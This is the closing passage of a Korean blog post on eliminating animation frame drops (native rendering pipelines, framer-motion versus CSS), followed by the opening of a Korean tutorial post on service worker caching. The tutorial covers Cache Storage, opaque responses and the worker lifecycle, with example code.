첫째, **기본 애니메이션 경로가 처음부터 이 글의 기법이다.** iOS의 표준 패턴, 제약(constraint)을 바꾸고 `UIView.animate` 안에서 `layoutIfNeeded()`를 호출하는 방식은 레이아웃을 목표 상태로 1회 계산하고 프레임 보간은 Core Animation이 맡는다. 우리가 만든 "계단화 + 보간"이 그대로 내장돼 있는 셈이다. Android의 `ChangeBounds` 트랜지션도 매 프레임 레이아웃을 다시 도는 대신 계산된 최종 좌표를 향해 뷰의 bounds를 직접 보간한다. 둘째, **렌더링이 상시 합성이다.** iOS의 모든 뷰는 CALayer, 즉 처음부터 GPU 레이어이고 Android도 디스플레이 리스트 기반이라, 뷰가 이동할 때 다시 그리는 게 아니라 레이어를 옮긴다. 웹에서 같은 상태를 얻으려면 `will-change` 같은 것으로 레이어 승격을 명시해야 하고, 그것도 이 글의 FLIP처럼 필요한 순간에만 걸었다가 끝나면 걷어내야 한다. 네이티브는 그 상태에서 늘 살고 있다. 셋째, iOS는 한 발 더 나가서 **애니메이션 보간이 앱 프로세스 밖의 렌더 서버에서 돈다.** 앱 메인 스레드가 통째로 멈춰도 진행 중인 애니메이션은 계속 간다. 웹의 컴포지터 스레드 분리보다 강한 격리다.

거꾸로 보면 웹의 조건이 유난히 나쁜 이유도 정리된다. 문서 전역에 영향을 주는 레이아웃 의미론(마진 컬랩스 같은), 손상 영역을 다시 그리는 페인트 모델, 애니메이션과 비즈니스 로직이 한 스레드를 나눠 쓰는 구조, 그리고 어떤 속성이든 경고 없이 애니메이션하게 해 주는 API까지. 함정은 깊은데 가드레일이 없다. 최근 웹 표준의 방향(View Transitions, scroll-driven animations, `@starting-style`)이 "선언만 하고 실행은 엔진에 맡기는" 네이티브식 모델로 수렴하고 있는 것도 같은 문제의식일 것이다. 요약하면, 네이티브에서 이 글의 기법은 대체로 불필요하다. 플랫폼이 이미 그 기법이기 때문이다. 이번 작업은 UIKit이 오래전부터 기본으로 주던 것을 웹의 배너 하나에 수공업으로 이식한 일이었다고 볼 수도 있다.

이건 추상적인 비교가 아니라 실제로 겪은 일이기도 하다. 같은 인터랙션을 쓰는 다른 앱의 화면이 유독 매끄러워서 의아했는데, 확인해 보니 React Native 화면이었다. React Native의 뷰는 진짜 네이티브 뷰이고, `LayoutAnimation` 류의 레이아웃 전환은 "다음 레이아웃을 한 번 계산하고 보간은 네이티브에 맡기는" 구조라 이 글의 계단화가 API의 기본 동작이며, 애니메이션은 JS 스레드와 분리된 채 돈다. 같은 연출이라도 어느 렌더 파이프라인 위에서 실행되느냐가 결과를 갈랐던 셈이다.

## framer-motion을 걷어내자는 이야기는 아니다

이 글의 결론이 "framer-motion은 위험하다"로 읽히지 않았으면 해서, 균형을 위해 적어 둔다. 최종 구현의 기본형은 framer-motion을 유지했고, 그 선택에는 이유가 있다.

CSS 완성형을 만들면서 체감한 것인데, 그 코드에서 애니메이션 값은 20줄이고 나머지 100줄은 전부 framer가 API로 흡수해 주던 것들이었다. 인터럽션 시 진행 중이던 계산값을 인라인으로 고정하고 갈아타는 처리, 등장 rAF와 정리 타이머의 취소 조율, exit가 끝날 때까지 언마운트를 미루는 수명 관리 같은 것들이다. 상태가 두 개뿐인 배너라 손으로 짤 만했지, 상태와 전이가 늘어나면 이 비용은 빠르게 커진다. framer-motion의 가치는 애니메이션을 가능하게 하는 데 있는 것이 아니라 이 관리 비용을 흡수하는 데 있고, 그 대가가 앞서 본 실행 모델의 불투명성이다.

그래서 판단 기준을 하나로 줄이면 이렇게 된다. 모션이 "상태 두 개 사이의 전이"면 CSS가 이기고, "상태 기계 + 값 그래프"면 framer-motion이 이긴다. 덧붙여 높이가 고정 옵션 몇 개로 열거되는 디자인이라면 측정 JS마저 없앤 순수 CSS(`@starting-style`, `transition-behavior: allow-discrete`, `:has()` 조합)까지 갈 수 있는데, 그 대가는 기술이 아니라 모든 텍스트에 clamp를 강제하는 디자인 계약이다.

## 마치며

솔직하게 적어 두면, 이 작업은 최근에 했던 일들 중에서 제일 어려웠다. 코드량으로 보면 이상한 말이다. 최종 diff는 이징 함수 하나와 훅 두 개가 전부이니까. 어려움의 정체는 코드가 아니라 다른 데 있었다.

첫째, 아무것도 고장 나 있지 않았다. 에러도, 실패하는 테스트도, 콘솔 경고도 없었다. 어긋남은 전부 100ms 이하의 타이밍과 8px의 점프처럼, 기준을 만들어 재기 전에는 존재하는지도 알 수 없는 것들이었다. 버그를 고치는 일은 "고장"이라는 신호가 방향을 잡아 주는데, 이 일은 매 단계에서 판정 기준부터 직접 세워야 했다.

둘째, 정답지가 없었다. "원본과 동일하게"의 그 원본이 만든 사람의 의도와 다르게 동작하고 있었으므로, 문서도 코드 주석도 정답이 아니었다. 정답은 실행 중인 브라우저 안에만 있었고, 그것을 꺼내는 계측기마저 세 번 거짓말을 했다. 자를 만들고, 자를 검증하고, 그 자로 잰 값으로 소스를 다시 읽는 순환을 몇 바퀴 돌아야 했다.

셋째, 문제가 한 영역에 머물지 않았다. React의 수명주기, framer-motion의 transition 해석 규칙, CSS 마진 컬랩스, 브라우저 프레임 파이프라인의 콜백 순서까지, 평소에는 서로 몰라도 되는 영역들이 전부 동시에 얽혀 있었다. 어느 하나만 알아서는 어긋남 하나도 설명되지 않았다. 고백하자면 그중 나를 가장 오래 붙잡은 것은 CSS였고, 내가 CSS에 약하다는 것도 어려움에 한몫했다. 마진이 `height: 0`인 박스를 통과해 컬랩스되는 규칙, `transform`이 containing block을 만들어 하위 `position: fixed`의 기준을 바꾸는 규칙, transition 목록을 갈아탈 때 시작값이 어디서 오는지 같은 것들은 스펙에 수십 년 있던 내용인데, 프레임워크 위에서 일하는 동안 그 기초가 얼마나 약해져 있었는지를 이번에 확인했다.

그래서 이 글에 남긴 것도 해법 자체보다 그 순환의 기록에 가깝다. 만들기는 하루면 되는데 같음을 증명하는 데 그 몇 배가 들었고, 돌아보면 그 증명이 이 작업의 본체였다고 생각한다.

다만 그 증명이 어디까지 닫혔는지도 같이 적어 두는 것이 맞겠다. 이 글의 제목은 "프레임드랍 없애기"지만 실제로 증명한 명제는 "프레임당 비용을 문서 크기에서 떼어냈다"에 가깝고, 둘은 같지 않다. 계단이 밟히는 순간의 리플로우 1회는 여전히 문서 크기에 비례한다. Layout은 25회가 10회가 된 것이지 0회가 된 것이 아니다. 빠른 기기에 부하가 없으면 비용을 한 프레임에 몰아 둔 탓에 계단 방식이 오히려 한두 번의 드랍으로 나오기도 한다. 곡선도 폭만 겹쳤을 뿐, 시작 시점은 Chromium에서 10ms대, Firefox에서는 40ms대가 남아 있다. 그리고 가장 크게 남은 것은 이 글의 수치가 전부 데스크톱에 CPU 스로틀을 건 환경이라는 점이다. 정작 배너가 끊겼던 곳은 플래그십 폰이었는데, 그 기기에서 전후를 같은 지표로 재지는 못했다. 더 정직하게 적으면, 이 배너는 지금도 폰에서 완전히 매끈하지는 않다. 애니메이션 내내 끊기던 것이 등장하는 순간에 한 번 걸리는 정도로 줄었을 뿐이다.

남은 것의 정체는 그래도 특정할 수 있다. 계단이 밟히는 그 한 프레임의 레이아웃 커밋은 여전히 문서 크기에 비례하고, 그 프레임은 하필 하이드레이션과 데이터 로딩이 메인 스레드를 붙잡고 있는 시점과 겹친다. 앞서 본 대로 웹은 애니메이션과 비즈니스 로직이 한 스레드를 나눠 쓰고, 레이아웃 커밋을 컴포지터로 넘길 방법은 없다. 이 기법의 사정거리는 여기까지다. 더 가려면 프레임 수가 아니라 남은 인자인 문서 크기 쪽을 건드리거나(`contain`, `content-visibility`), 애초에 가장 바쁜 시점에 이 모션을 넣을 것인가를 다시 묻는 수밖에 없다. 어느 쪽이든 이징 함수 하나로 끝나는 일은 아니다.

---

Source: https://yceffort.kr/2026/08/service-worker-caching-1.md
Title: <em>서비스 워커</em> 캐싱의 동작 원리: 프록시, 라이프사이클, 다섯 가지 전략
Description: 서비스 워커는 사이트와 네트워크 사이에 선 프로그래밍 가능한 프록시다. 어디에 서 있는가, 캐시는 왜 썩는가, 배포했는데 왜 옛 버전이 보이는가, 무엇을 어떤 전략으로 담는가, 그래서 이걸 써야 하는가. 실무에서 마주치는 다섯 개의 질문을 붙잡고, opaque 응답이 104KB에서 6.6MB로 집계되는 실측과 상태 전이의 세부까지 내려간다. 『프런트엔드 성능 최적화 Deep Dive』의 캐시 장에서 못 다한 일반론이다. 서비스 워커 캐싱 딥다이브 시리즈의 첫 편이다.
Date: 2026-08-12
Tags: web-performance, service-worker, pwa, browser
Series: 서비스 워커 캐싱 딥다이브

## Table of Contents

## 책에 넣지 못한 캐시 한 층

배포는 어제 나갔는데 사용자는 며칠째 옛 화면을 보고 있다. 새로고침을 해도 그대로다. 서비스 워커가 있는 사이트에서 심심찮게 겪는 이 증상은 버그가 아니라 설계다. 새 워커는 설치되고도 대기 상태에 멈춰 있도록 만들어져 있고, 그 이유를 모르면 "캐시를 지워보세요"라는 안내문 말고는 손에 쥔 것이 없게 된다. 서비스 워커 캐싱은 이런 식으로, 문서 몇 장 읽고 붙이기에는 혼자 도는 부품이 많은 레이어다.

사실 이 주제에는 약간의 부채 의식이 있었다. 얼마 전 출간한 [『프런트엔드 성능 최적화 Deep Dive』](/2026/07/frontend-performance-deep-dive-is-out-now)에서 브라우저 캐시를 한 장에 걸쳐 다뤘지만, 캐시의 세 레이어(브라우저 캐시, CDN 캐시, 서비스 워커 캐시) 중 서비스 워커 캐시만큼은 끝내 충분히 파고들지 못했다. 솔직히 말하면 `Cache-Control` 지시어, 파일명 해싱, Stale-While-Revalidate, BFCache까지 쓰고 나니 분량을 더는 감당할 수 없었다. 그러다 책을 마무리하고 이 블로그를 PWA로 만들면서 그 서비스 워커 캐싱을 직접 설계할 일이 생겼고, 문서만 읽어서는 알 수 없었던 함정들을 여럿 만났다. 이 시리즈는 그 기록이자, 책에서 못 다한 이야기다.

이번 편은 그 일반론이다. 서비스 워커가 무엇인지부터 짚고, 20줄짜리 가장 작은 서비스 워커를 하나 굴려본 다음, 직접 만들며 실제로 마주쳤던 다섯 개의 질문으로 나머지를 정리한다. 서비스 워커는 어디에 서 있는가. 캐시는 왜 썩는가. 배포했는데 왜 옛 버전이 보이는가. 무엇을 어떤 전략으로 담는가. 그래서 이걸 써야 하는가. 이 질문들에 답할 수 있으면 어느 프레임워크에서든 출발선에 설 수 있고, 프레임워크가 만드는 각론([2편](/2026/08/service-worker-caching-2)의 Next.js App Router 적용기와 GA4 실측)은 그 위에 얹힌다.

> 측정 노트: 이 글의 실측(스토리지 집계, 워커 기동 시간, 에러 메시지)은 macOS의 Chromium 계열 브라우저에서 이 블로그의 프로덕션 오리진을 대상으로 잰 값이다. 스토리지 쿼터와 opaque 패딩 크기는 브라우저와 프로필 상태를 타므로, 절대값보다 자릿수를 보는 것이 안전하다.

## 서비스 워커란 무엇인가: 정의와 가장 작은 예제

서비스 워커는 브라우저가 페이지와 별도의 스레드에서 실행하는 이벤트 기반 워커 스크립트다[^1]. 한 번 등록되면 자신의 범위(scope) 안에 있는 모든 페이지의 네트워크 요청을 가로챌 수 있고, 가로챈 요청에 네트워크 대신 직접 만든 응답을 돌려줄 수도 있다. 그래서 사이트와 네트워크 사이에 선, 개발자가 프로그래밍할 수 있는 프록시라고 부르는 것이 실체에 가깝다. 오프라인 지원, 웹 푸시, 백그라운드 동기화, 홈 화면 설치형 앱(PWA)까지, "페이지가 떠 있지 않아도 동작해야 하는" 웹 기능들이 전부 이 워커 위에 서 있다.

이 설계에는 앞서 실패한 역사가 있다. 오프라인 웹의 첫 시도였던 AppCache(Application Cache)는 매니페스트 파일에 캐시할 목록을 선언하면 나머지를 브라우저가 알아서 하는 모델이었는데, 그 "알아서"가 개발자의 의도와 어긋나는 암묵적 규칙투성이라 악명 속에 폐기됐다[^14]. 서비스 워커는 그 교훈의 산물이다. 브라우저가 마법을 부리는 대신, 요청을 어떻게 처리할지를 개발자가 코드로 전부 결정한다. 이 글에서 계속 만나게 될 "전부 직접 설계해야 한다"는 성질은 불편이 아니라 설계 목표였던 셈이다.

말보다 코드가 빠르다. 동작하는 가장 작은 서비스 워커는 파일 두 개면 된다. 페이지 쪽에서 워커를 등록하고,

```javascript
// 페이지 (예: 레이아웃이나 엔트리 스크립트)
if ('serviceWorker' in navigator) {
  navigator.serviceWorker.register('/sw.js')
}
```

워커 파일이 세 이벤트에 답한다.

```javascript
// sw.js
const CACHE = 'mini-v1'

// 1. 설치: 오프라인에서도 보여줄 것들을 미리 담는다
self.addEventListener('install', (event) => {
  event.waitUntil(
    caches.open(CACHE).then((cache) => cache.addAll(['/', '/offline.html'])),
  )
})

// 2. 활성화: 이전 버전의 캐시를 청소한다
self.addEventListener('activate', (event) => {
  event.waitUntil(
    caches
      .keys()
      .then((keys) =>
        Promise.all(
          keys.filter((key) => key !== CACHE).map((key) => caches.delete(key)),
        ),
      ),
  )
})

// 3. 요청 가로채기: 네트워크가 실패하면 캐시로, 그것도 없으면 오프라인 페이지로
self.addEventListener('fetch', (event) => {
  event.respondWith(
    fetch(event.request).catch(
      async () =>
        (await caches.match(event.request)) ?? caches.match('/offline.html'),
    ),
  )
})
```

이 파일을 사이트 루트에 두고 localhost에서 서빙하면 그대로 돈다. 페이지를 한 번 연 뒤 로컬 서버를 끄고 새로고침해 보면, 네트워크 없이 캐시에서 페이지가 뜨는 것을 확인할 수 있다(뒤에서 다루겠지만, DevTools의 오프라인 에뮬레이션보다 서버를 끄는 쪽이 확실한 확인법이다). 그리고 이 20줄이 사실상 이 시리즈 전체의 축소판이다. install의 프리캐시, activate의 버전 청소, fetch의 전략이라는 세 부품이 전부 들어 있고, 이 글의 나머지는 이 세 부품을 각각 끝까지 파고드는 일이다.

## 서비스 워커는 어디에 서 있는가

첫 번째 질문이다. 미니 예제에서 워커는 등록만 하면 돌았지만, 이 워커가 요청 경로의 정확히 어디에 서서 무엇을 할 수 있는지는 아직 말하지 않았다. 이 프록시의 성격을 규정하는 특징이 세 가지 있다. 첫째, **페이지와 수명이 분리되어 있다.** 탭을 닫아도 등록은 남고, 처리할 이벤트가 없으면 브라우저가 워커를 종료했다가 이벤트가 오면 다시 깨운다. 이 종료와 기동은 코드에 아무 신호도 주지 않고 일어난다. 그래서 전역 변수에 담아둔 상태는 언제든 사라질 수 있고, 남겨야 할 것은 Cache Storage나 IndexedDB 같은 저장소에 두어야 한다. 잠든 워커를 깨우는 기동 비용은 마지막 질문에서 다시 만난다. 둘째, **DOM에 접근할 수 없다.** 페이지와는 `postMessage`로만 대화한다(2편에 나오는 "오프라인에 저장됨" 토스트가 이 통로를 쓴다). 셋째, **아무 데서나 돌 수 없다.** 요청을 통째로 가로채는 강력한 권한이라 HTTPS(그리고 개발용 localhost)에서만 동작하고, scope는 워커 파일이 놓인 경로 아래로 제한된다(서버가 `Service-Worker-Allowed` 헤더로 상한을 풀어줄 수는 있지만 기본값이 그렇다). `/sw.js`처럼 루트에 두는 관례가 여기서 나온다.

캐싱은 이 중 fetch 이벤트 위에 세워진다. 페이지가 만드는 모든 요청(문서, 스크립트, 이미지, `fetch()` 호출)이 `FetchEvent`로 워커에 도착하고, 워커가 `event.respondWith()`에 Response(또는 그것으로 resolve되는 Promise)를 넘기면 그 응답이 네트워크를 대신한다. 몇 가지 규칙이 있다. `respondWith()`는 이벤트 핸들러 안에서 동기적으로 불러야 하고(비동기 콜백에서 부르면 이미 네트워크로 넘어간 뒤다), 부르지 않고 리턴하면 요청은 워커가 없던 것처럼 원래 경로를 탄다. 요청을 분류할 때는 URL 외에 요청 객체의 메타데이터가 유용하다. `request.mode === 'navigate'`는 주소창 진입이나 링크로 문서를 여는 내비게이션 요청이라는 뜻이고, `request.destination`은 그 요청이 무엇으로 소비될지(`'image'`, `'script'`, `'style'`, `'font'` 등)를 알려준다[^2]. 2편의 라우터가 이 값들로 분기한다.

fetch 이벤트에는 짝이 되는 도구가 하나 더 있다. `event.waitUntil(promise)`는 워커의 수명을 붙잡아 두는 장치다. 응답을 이미 돌려준 뒤에도 넘긴 promise가 끝날 때까지 브라우저에게 워커를 종료하지 말라고 선언하는 것으로, 응답과 무관한 백그라운드 작업(2편에서 RSC 응답을 돌려준 뒤 HTML을 따로 받아 저장하는 경로가 정확히 이것이다)이 유휴 종료에 잘리지 않게 해준다. install과 activate 이벤트에서도 같은 메서드가 "이 단계가 아직 안 끝났다"의 기준이 되어, 프리캐시가 다 차기 전에 워커가 installed로 넘어가는 것을 막는다.

같은 워커에 웹 푸시나 백그라운드 동기화 같은 다른 능력도 실을 수 있지만, 이 시리즈는 캐싱에만 집중한다.

그렇다면 이 프록시는 기존의 HTTP 캐시와 어떤 관계인가. 서비스 워커 캐싱을 처음 접하면 HTTP 캐시의 대체재처럼 보이지만, 실제로는 요청 경로에서 서로 다른 위치에 놓인 별개의 레이어다. 브라우저가 리소스를 찾는 순서는 다음과 같다[^3].

1. **서비스 워커의 fetch 핸들러**: 등록된 서비스 워커가 요청을 가로채 Cache Storage에서 응답하거나, 네트워크로 넘긴다.
2. **HTTP 캐시**: 서비스 워커가 `fetch()`를 부르거나 요청을 가로채지 않으면, 브라우저의 HTTP 캐시가 `Cache-Control` 규칙대로 동작한다.
3. **네트워크**: 둘 다 놓치면 서버까지 간다.

여기서 중요한 것은 서비스 워커 안에서 실행한 `fetch()`도, `cache: 'no-store'` 같은 캐시 모드를 명시하지 않는 한 HTTP 캐시를 통과한다는 점이다. 서비스 워커에서 network-first 전략을 짰다고 해서 항상 서버까지 가는 것이 아니다. HTTP 캐시에 유효한 사본이 있으면 그것이 반환된다. 그래서 두 레이어의 만료 정책이 어긋나면 "분명 새로 배포했는데 서비스 워커가 옛날 응답을 캐시하는" 식의, 어느 한쪽만 봐서는 설명되지 않는 문제가 생긴다. 예를 들어 HTML에 `max-age=300`이 붙어 있는 사이트에서 워커가 network-first로 HTML을 갱신하려 하면, 5분 동안은 네트워크에 가는 대신 HTTP 캐시의 사본을 받아 와서 "최신"이라고 믿고 다시 저장하게 된다. web.dev의 가이드도 이 지점을 지적하면서, 서비스 워커 쪽에 더 긴 유효 기간과 주도권을 주고 HTTP 캐시를 보조로 두는 구성을 권한다[^3].

두 캐시의 성격 차이는 표로 정리하면 명확하다.

| 구분        | HTTP 캐시                           | 서비스 워커 캐시 (Cache Storage)            |
| ----------- | ----------------------------------- | ------------------------------------------- |
| 제어 주체   | 서버가 헤더로 선언, 브라우저가 집행 | 개발자가 코드로 직접 제어                   |
| 만료        | `max-age` 등 TTL 기반 자동 만료     | **TTL 없음**. 코드로 지우기 전까지 유지     |
| 저장 시점   | 응답을 받으면 자동 저장             | `cache.put()`을 불러야 저장                 |
| 저장 단위   | 브라우저가 응답별로 관리            | 이름 붙은 버킷에 요청-응답 쌍으로           |
| 오프라인    | 만료된 리소스는 사용 불가           | 네트워크 상태와 무관하게 코드가 결정        |
| 실수의 대가 | 잘못돼도 TTL이 지나면 회복          | 잘못된 코드가 배포되면 **직접 회수해야 함** |

## 캐시는 왜 썩는가

표의 "만료" 줄이 두 번째 질문으로 이어진다. 캐싱의 저장소가 되는 Cache Storage는 요청(Request)을 키로, 응답(Response)을 값으로 담는 저장소다. `caches.open(이름)`으로 이름 붙은 캐시 버킷을 열고, 한 오리진에 버킷을 여러 개 둘 수 있다. 용도별로 버킷을 나누면 청소를 버킷 단위로 할 수 있게 되는데, 2편의 설계가 이 성질에 기댄다. 기본 조작은 네 가지다[^4].

```javascript
const cache = await caches.open('pages-v1')

await cache.put(request, response) // 저장
await cache.addAll(['/offline', '/']) // URL 목록을 받아와 일괄 저장 (프리캐시용)
const hit = await cache.match(request) // 조회 (버킷 하나)
const anyHit = await caches.match(request) // 조회 (모든 버킷)
const keys = await cache.keys() // 저장된 요청 목록, 삽입 순서 보장
await cache.delete(request) // 엔트리 삭제
await caches.delete('pages-v0') // 버킷 통째로 삭제 (버전 청소용)
```

조회의 매칭 규칙도 알아둘 가치가 있다. `match()`는 기본적으로 URL을 쿼리 스트링까지 포함해 정확히 비교하고, 응답에 `Vary` 헤더가 있으면 해당 요청 헤더까지 대조한다. 이 기본값은 옵션으로 하나씩 풀 수 있다. `ignoreSearch: true`는 쿼리 스트링을 무시하고, `ignoreVary: true`는 `Vary` 대조를 끈다. 쿼리가 캐시 키를 오염시키는 상황(2편의 `?dpl=`이 정확히 이 사례다)에서 이 옵션들이 선택지가 된다.

이 저장소에는 TTL이 없다. `put()`으로 넣은 것은 코드로 지우기 전까지 그대로 있고, HTTP 캐시가 공짜로 해주던 일들(만료, 용량 관리, 실수로부터의 자동 회복)을 전부 직접 설계해야 한다. 이것이 서비스 워커 캐싱의 본질이라고 생각한다. 만료가 없고 모든 것을 코드로 제어한다는 것은 강력함인 동시에, 버전 관리와 청소를 설계하지 않으면 캐시가 반드시 썩는다는 뜻이다. 배포마다 URL이 바뀌는 자산이 하나라도 있으면 캐시는 단조 증가하고, 옛 로직이 만든 엔트리는 새 로직이 읽다가 깨진다.

거꾸로 "TTL이 없다"가 "영구 저장"이라는 뜻도 아니다. 저장 공간이 부족해지면 브라우저는 origin 단위로 저장소를 통째로 축출할 수 있고(Cache Storage 포함)[^5], Safari는 사이트와 상호작용 없이 **Safari를 사용한 날 기준** 7일이 지나면 서비스 워커 등록과 캐시를 지운다(달력 7일이 아니라 사용일로 세고, 홈 화면에 추가된 웹앱은 별도 카운터를 가져 이 삭제의 의도 대상이 아니다)[^6]. `navigator.storage.persist()`로 영속을 요청하는 길이 있지만, 기본값은 어디까지나 best-effort 저장이다. 지금 얼마나 쓰고 있는지는 `navigator.storage.estimate()`로 확인할 수 있다. 요약하면 이 저장소는 스스로 청소하지 않으면서, 필요하면 통째로 사라질 수는 있는 곳이다. 양쪽 모두를 설계에 넣어야 한다.

다루는 코드의 함정도 두 가지 있는데, 이번에는 재현까지 해봤다.

첫 번째는 처음 쓰는 사람 대부분이 밟는 것으로, **Response의 바디는 스트림이라 한 번만 읽을 수 있다.** 네트워크에서 받은 응답을 `respondWith()`로 돌려주면서 캐시에도 넣으려면, 저장용 사본을 `response.clone()`으로 떠야 한다. 순서를 놓치면 이런 에러를 만난다.

```text
TypeError: Failed to execute 'text' on 'Response': body stream already read
```

`cache.put()`도 마찬가지로, 이미 소비된(disturbed) 바디를 넘기면 조용히 넘어가는 것이 아니라 TypeError로 거부하도록 스펙에 못 박혀 있다[^4]. 어느 경로로 순서가 꼬이든 명시적인 에러로 나타난다는 뜻이니, "네트워크 응답은 원본을 돌려주고, 캐시에는 clone을 넣는다"를 규칙으로 삼으면 안전하다.

두 번째는 교차 출처 리소스다. `mode: 'no-cors'`로 가져온 응답은 opaque 응답이 되는데, status가 0으로 보이고 바디를 들여다볼 수 없지만 저장과 재사용은 가능하다. 응답을 opaque로 만드는 것은 서버에 CORS 헤더가 없어서가 아니라 요청의 mode다. 서버가 `Access-Control-Allow-Origin`을 보내주더라도 `mode: 'no-cors'`로 요청하면 응답은 여전히 opaque다. 문제는 두 가지다. 우선 성공인지 실패인지 코드로 구분할 수 없다. 404 응답도 opaque로는 status 0이라, 깨진 리소스를 정상인 줄 알고 캐시하게 된다. 다음으로 저장 용량이 실제 크기보다 훨씬 크게 집계된다. 응답 크기를 통해 교차 출처 정보가 새는 것을 막으려고 브라우저가 패딩을 더하기 때문이다[^7]. 직접 재보면 이렇다. 이 블로그의 오리진에서 104KB(106,346바이트)짜리 외부 이미지를 `no-cors`로 받아 저장했더니, `navigator.storage.estimate()`의 usage가 **6,869,027바이트(약 6.6MB)** 늘었다. 패딩은 원본 크기에 비례하지 않는다. Chromium은 opaque 응답마다 0에서 약 14.1MB 사이의 난수를 더하는데[^7], 몇 KB짜리 응답도 그만큼 집계될 수 있고 얼마가 붙을지는 응답마다 다르다. 위의 6.6MB도 그 범위에서 뽑힌 한 값이다. 쿼터가 10GB로 잡힌 프로필이라 여유는 있지만, opaque 응답을 수백 개 쌓는 설계라면 집계 기준으로는 기가바이트 단위가 되어 축출을 앞당길 수 있다. 다만 CORS를 허용하는 출처라면 `mode: 'cors'`로(이미지 태그라면 `crossorigin` 속성으로) 받아 저장하는 길이 있고, 이때는 응답이 opaque가 아니니 패딩이 붙지도 않는다. 피해 갈 수 없는 것은 CORS 헤더를 주지 않는 출처에 한정된다.

## 배포했는데 왜 옛 버전이 보이는가

서두의 증상이 세 번째 질문이다. 답은 서비스 워커에만 있는 배포 모델, 라이프사이클에 있다. 워커는 `register()`로 등록된 뒤 여러 상태를 순서대로 지나야 요청을 제어하게 된다. 상태 전이를 한 장으로 그리면 이렇다.

```mermaid
flowchart TD
    R["register()"] --> I[installing]
    I -->|install 실패| X[redundant]
    I -->|install 성공| W["installed (waiting)"]
    W -->|"최초 설치(선행 워커 없음): 즉시"| A[activating]
    W -->|"업데이트: 기존 탭 모두 닫힘 또는 skipWaiting()"| A
    A --> AC[activated]
    AC -->|새 버전으로 교체됨| X
```

각 상태는 `registration.installing`, `registration.waiting`, `registration.active`로 손에 잡히고, 개별 워커의 `state` 속성과 `statechange` 이벤트로 전이를 관찰할 수 있다[^1]. install은 프리캐시를 채우기에, activate는 옛 캐시를 청소하기에 알맞은 시점으로 설계되어 있다. 다이어그램의 대기(waiting)에 머무르는 것은 업데이트뿐이다. 최초 설치도 스펙상 installed(waiting)를 한 번 거치지만, 선행 active 워커가 없으면 설치 직후의 Try Activate가 곧바로 Activate를 부르므로 멈추지 않고 활성화로 넘어간다. 여기에 중요한 디테일이 하나 있다. 처음 등록된 워커는 activated가 된 뒤에도 기본적으로 **이미 열려 있던 페이지는 제어하지 않는다.** 제어는 다음 내비게이션부터 시작되고, 당겨오고 싶다면 `clients.claim()`을 불러야 한다. 페이지 입장에서 지금 제어받고 있는지는 `navigator.serviceWorker.controller`가 null인지로 판별한다.

업데이트도 이 상태 기계를 그대로 탄다. 브라우저는 내비게이션 때마다(그리고 push 같은 기능 이벤트에서도 마지막 확인이 24시간을 넘겼다면) 등록된 워커 스크립트의 업데이트를 확인하고, 바이트가 하나라도 다르면 새 워커를 installing으로 띄운다[^8]. 여기서 문제가 나온다. 새 워커는 설치를 마쳐도, 기존 워커가 제어하는 탭이 모두 닫히기 전까지 **waiting에 멈춰 있다.** 옛 로직과 새 로직이 한 오리진에서 섞이지 않게 하려는 안전장치인데, 뒤집으면 탭을 계속 열어두고 새로고침만 하는 사용자는 며칠이고 옛 캐시 로직에 붙잡혀 있을 수 있다는 뜻이다. 새로고침은 같은 탭을 계속 점유하므로 "탭이 모두 닫히는" 조건을 영원히 만들지 못한다. 배포를 했는데 사용자가 옛 버전을 보고 있다면 대개 이 대기가 원인이다.

대기 중인 새 버전을 페이지에서 감지하는 표준 패턴도 라이프사이클 API로 만든다. "새 버전이 있습니다" 배너가 이것이다.

```javascript
const registration = await navigator.serviceWorker.register('/sw.js')

registration.addEventListener('updatefound', () => {
  const next = registration.installing
  next.addEventListener('statechange', () => {
    if (next.state === 'installed' && navigator.serviceWorker.controller) {
      // 새 워커가 waiting에 도착했고, 지금 페이지는 옛 워커가 제어 중이다
      showRefreshBanner()
    }
  })
})
```

배너에서 "새로고침"을 눌렀을 때의 나머지 절반도 라이프사이클 API로 완성된다. waiting 워커에게 메시지로 대기를 건너뛰라고 요청하고, 제어권이 실제로 넘어온 순간을 `controllerchange`로 받아 페이지를 다시 그리는 3단 회로다.

```javascript
// 페이지: 배너 클릭 시 waiting 워커에게 요청
registration.waiting?.postMessage({type: 'SKIP_WAITING'})

// sw.js: 요청을 받으면 그때 skipWaiting
self.addEventListener('message', (event) => {
  if (event.data?.type === 'SKIP_WAITING') self.skipWaiting()
})

// 페이지: 제어 워커가 바뀌면 새 로직 기준으로 리로드
navigator.serviceWorker.addEventListener('controllerchange', () => {
  location.reload()
})
```

무조건 `skipWaiting()`을 부르는 것과 달리, 이 패턴은 건너뛰는 시점을 사용자의 동의 뒤로 미룬다. 옛 HTML과 새 캐시 로직이 섞이는 창을 사용자가 스스로 닫게 하는 셈이라, 대기의 안전장치를 유지하면서 "며칠째 옛 버전" 문제도 피할 수 있다.

알아둘 규칙이 두 가지 더 있다. 워커 스크립트 자체는 기본적으로 HTTP 캐시를 우회해서 매번 새로 받아온다(기본값 `updateViaCache: 'imports'`는 importScripts 대상에만 캐시를 허용한다). 캐시를 쓰도록 바꾸더라도, 마지막 업데이트 확인 후 24시간이 지난 등록에 대해서는 HTTP 캐시를 우회하도록 스펙에 못 박혀 있다[^8]. 잘못된 워커가 배포돼도 최대 하루 안에는 교체 기회가 오지만, 뒤집어 말하면 하루 동안은 잘못된 코드가 모든 요청을 주무를 수 있다. 서비스 워커 배포에 유독 보수적이어야 하는 이유이고, 최악의 경우를 대비해 같은 URL에 fetch 핸들러가 없는 no-op 워커를 덮어써서 잘못된 워커를 무력화하는 탈출로도 알려져 있다(저장소까지 비워야 하면 `Clear-Site-Data: storage` 헤더를 보조로 함께 쓴다)[^9]. 대기를 그대로 둘지 `skipWaiting()`으로 건너뛸지는 앱의 구조에 따라 갈리는 결정이라, 이 블로그의 선택은 [2편](/2026/08/service-worker-caching-2)에서 다룬다.

개발 중에 이 라이프사이클과 싸우는 도구는 DevTools의 Application > Service Workers 패널에 모여 있다. "Update on reload"는 새로고침마다 워커를 강제로 갱신하고 활성화해 대기를 없는 셈 치게 해주고, "Bypass for network"는 워커를 통째로 우회한다. 반대로 조심할 것도 있다. 캐시 무시 새로고침(hard reload)은 그 요청을 서비스 워커 밖으로 우회시키므로, "하드 리로드로 해보니 된다/안 된다"는 워커 검증의 근거가 되지 못한다. 도구가 상태를 바꿔버리는 레이어라서, 믿을 만한 검증은 결국 시크릿 창을 새로 열거나 실제 기기에서 하게 된다.

## 무엇을 어떤 전략으로 담는가

